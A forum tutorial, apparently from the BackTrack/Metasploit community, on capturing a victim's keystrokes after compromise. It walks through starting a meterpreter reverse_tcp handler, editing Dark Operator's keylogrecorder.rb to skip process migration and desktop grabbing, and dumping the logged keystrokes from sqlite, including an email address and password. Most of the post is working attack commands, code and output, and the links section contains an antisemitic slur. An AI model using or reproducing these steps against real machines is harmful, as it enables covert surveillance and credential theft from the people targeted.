QUOTE=AnActivist HowTo use Dark Operator's script keylogrecorder.rb to sniff keystrokes
What you will need:
-A box with Metasploit installed and updated (if you have Backtrack then your fine)
-A "victim" box (mine is running Windows XP home SP2)
-Dark Operator's keylogrecorder.rb script. This can be found on his website that is linked below; chances are its already in the /scripts directoryof the MSF trunk (more on that later)
Credit:
HDM on the metasploit SILC channel
cactii also on the metasploit SILC channel
Dark Operator
Links:
Security and Networking - Meterpreter Scripts
Penetration Testing | The Metasploit Project
**Jew, scrojin** msf payloads and automated scraper scripts on Vimeo
John Strand's videos on Vimeo
Introduction:
We will use a /windows/meterpreter/reverse_tcp payload that has been turned into an executable and Dark Operator's script keylogrecorder.rb to sniff keystrokes and dump them into a database. This method is interesting because as attackers we do not have to migrate processes or grab the the desktop to sniffing keys. Consequently, Dark Operator's script needs to be modified for it to work properly. Note: if you don't understand how to turn payloads into executables just go to the following links (mainly the last two) or read around the remote-exploit forums for more information.
Reasons why this HowTo might be Different from Others:
-I already assume that you know how to convert payloads into executables.
-I am modifing the keylogrecorder.rb script.
-I am focusing more on post explotation rather than actually exploiting a system.
Testing out Keylogrecorder.rb:
Step 1: Before you download anything navigate to your framework3 directory: '/pentest/exploits/framework3/' and issue the following command: You should now be able to navigate to the following directory: '/pentest/exploits/framework3/scripts/meterpreter' and see the script: keylogrecorder.rb. If the script is not there just go to the link above and download the script from Dark Operator's blog.
Step 2: Before we change anything lets first test the script to see what is wrong. get an active meterpreter session with the Victim.
Code:
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.xxx
LHOST => 192.168.1.xxx
msf exploit(handler) > set LPORT 101
LPORT => 101
msf exploit(handler) > exploit[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened (192.168.1.xxx:xxx -> xxxxxxxxxxxxx:xxxxx)
meterpreter >
Step 3: Lets test out our Dark Operator's script. Issue the following command to run the keylogrecorder.rb:
If the script runs perfectly then proceed to the end of the how-to. However, it's likely you got the following output:
Code:
meterpreter > run keylogrecorder-unedited
[-] Error in script: undefined method `checkifadm' for#<Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Core:0xb6854a38>
meterpreter >
Modifiying Keylogrecorder.rb to suite our Needs:
Step 1: You can leave your meterpreter shell alone for now. Open up a terminal and navigate to the following directory (or wherever you are storing your scripts): '/pentest/exploits/framework3/scripts/meterpreter'
Step 2: Before we edit anything we want to make a backup of the keylogrecorder.rb script so if we completely botch the job we won't have to re download the script, do this by issuing the following command:
Code:
cp keylogrecorder.rb keylogrecorder.rb~
Step 3: Now that everything is backed up we are ready to hack away at Dark Operator's work of art. Open keylogrecorder.rb up in your favorite text editor. In BT3 kwrite works fine for this:
Code:
kwrite keylogrecorder.rb
7. Note: Make sure that your text editor supports line numbering; with Kwrite if you can't see the lines numbered just go to settings->configure editor->borders-> then check the box "Show Line numbers"
Step 4: Now we need to find this nasty checkifadm function thats causing our script to fail (all the way at the bottom around line 157).
Code:
if helpcall == 0
adm = checkifadm(session)
if explrmigrate(session,captype,adm)
if startkeylogger(session)
keycap(session, keytime, logfile)
end
end
end
Both line 157 and 158 both appear to be associated with migrating sessions. If you remember from the introduction we have concluded that when the payload is already running as an executable on the Victim's computer we don't need migrate services. Armed with this knowledge lets use the '#' sign the comment out lines 157, 158 and 162. Your section of keylogrecorder.rb from lines 156-163 should now look like this:
Code:
if helpcall == 0
#adm = checkifadm(session)
#if explrmigrate(session,captype,adm)
if startkeylogger(session)
keycap(session, keytime, logfile)
end
#end
end
Step 5: We're almost done editing. Keeping in mind step 8 lets look for more functionality that we don't need in keylogrecorder.rb: Specifically line 68.
Code:
#Function for starting the keylogger
def startkeylogger(session)
begin
print_status("Grabbing Desktop Keyboard Input...")
session.ui.grab_desktop
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true
rescue
print_status("Failed to start Keylogging!")
return false
end
end
Again remember from the introduction that when the payload is already running as an executable we also do not need to grab the desktop. With that in mind comment out lines 67 and 68. Your keylogrecorder.rb script from lines 64-76 should now look like this:
Code:
#Function for starting the keylogger
def startkeylogger(session)
begin
#print_status("Grabbing Desktop Keyboard Input...")
#session.ui.grab_desktop
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true
rescue
print_status("Failed to start Keylogging!")
return false
end
end
Now everything should be ready to go. Save keylogrecorder.rb and go back to your meterpreter session.
Running the modified Keylogrecorder.rb Script:
Step 1: Make sure that your meterpreter session hasn't timed out. If it has timed out just type "exit" then re-exploit to get another active meterpreter session. Now lets test out our modified keylogrecorder.rb script by issuing the same command as before except now we should get the following output....
Code:
meterpreter > run keylogrecorder-unedited[*] Starting the keystroke sniffer...[*] Keystrokes being saved in to
/root/.msf3/logs/keylogrecorder/xxxxxxxxxxxxxxxxx/xxxxxxxxxxxxxxx.db[*] Recording ..
Now would be the time to go on your Victim's computer and maybe do some Internet browsing, emailing or password entering; anything that you requires you to type in information you wouldn't want someone to find out, or maybe information that you would hypothetically like to find out.Note: As usually I did a fake browsing session in a text editor on the Victim's box.
Step 2: Now you can go back to your meterpreter session and end keylogrecoder.rb by hitting 'CTRL+C', exit your meterpreter session and get back into the terminal, change directories to the .msf3 directory, 'cd /root/.msf3'
Note: You don't actually have to end keylogrecorder.rb script for you to be able to access the database of stored keys.
Step 3: Alright so the only thing left is to query our database and see what sorts of cool keys we captured start by issuing the following command:
Code:
sqlite3 /root/.msf3/logs/keylogrecorder/xxxxxxxxxxxxx_xxxxxxxx.xxxx/xxxxxxxxxxxxx_xxxxxxxx.xxxx.db
Note: the last two parts will be different for you, the format is like this /(ip of victim)_random.numbers/ and /(ip of victim)_random.numbers.db . You can see exactly what this directory is called by navigating to the /root/.msf3/logs/keylogrecorder/ directory and seeing whats inside.
Your should now see something like the following output:
Code:
SQLite version 3.5.7
Enter ".help" for instructions
sqlite>
14. In Dark Operator's blog he does some other steps but by only using the '.dump' command I was able to get about the same results. That being said issue the '.dump' command and if all goes well....
Code:
sqlite> .dump
BEGIN TRANSACTION;
CREATE TABLE keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE);
INSERT INTO "keystrokes" VALUES(1,'',20090502.0318);
INSERT INTO "keystrokes" VALUES(2,'www.gmail.com <Return> victim@gmail.com <Tab> my',20090502.0351);
INSERT INTO "keystrokes" VALUES(3,'p455w0rdisthis <Return> I am typing an email that I don''t want people to read <Return> <Return> :)',20090502.0424);
COMMIT;
sqlite>
Conclusion:
Re: One persons journey with Back Track
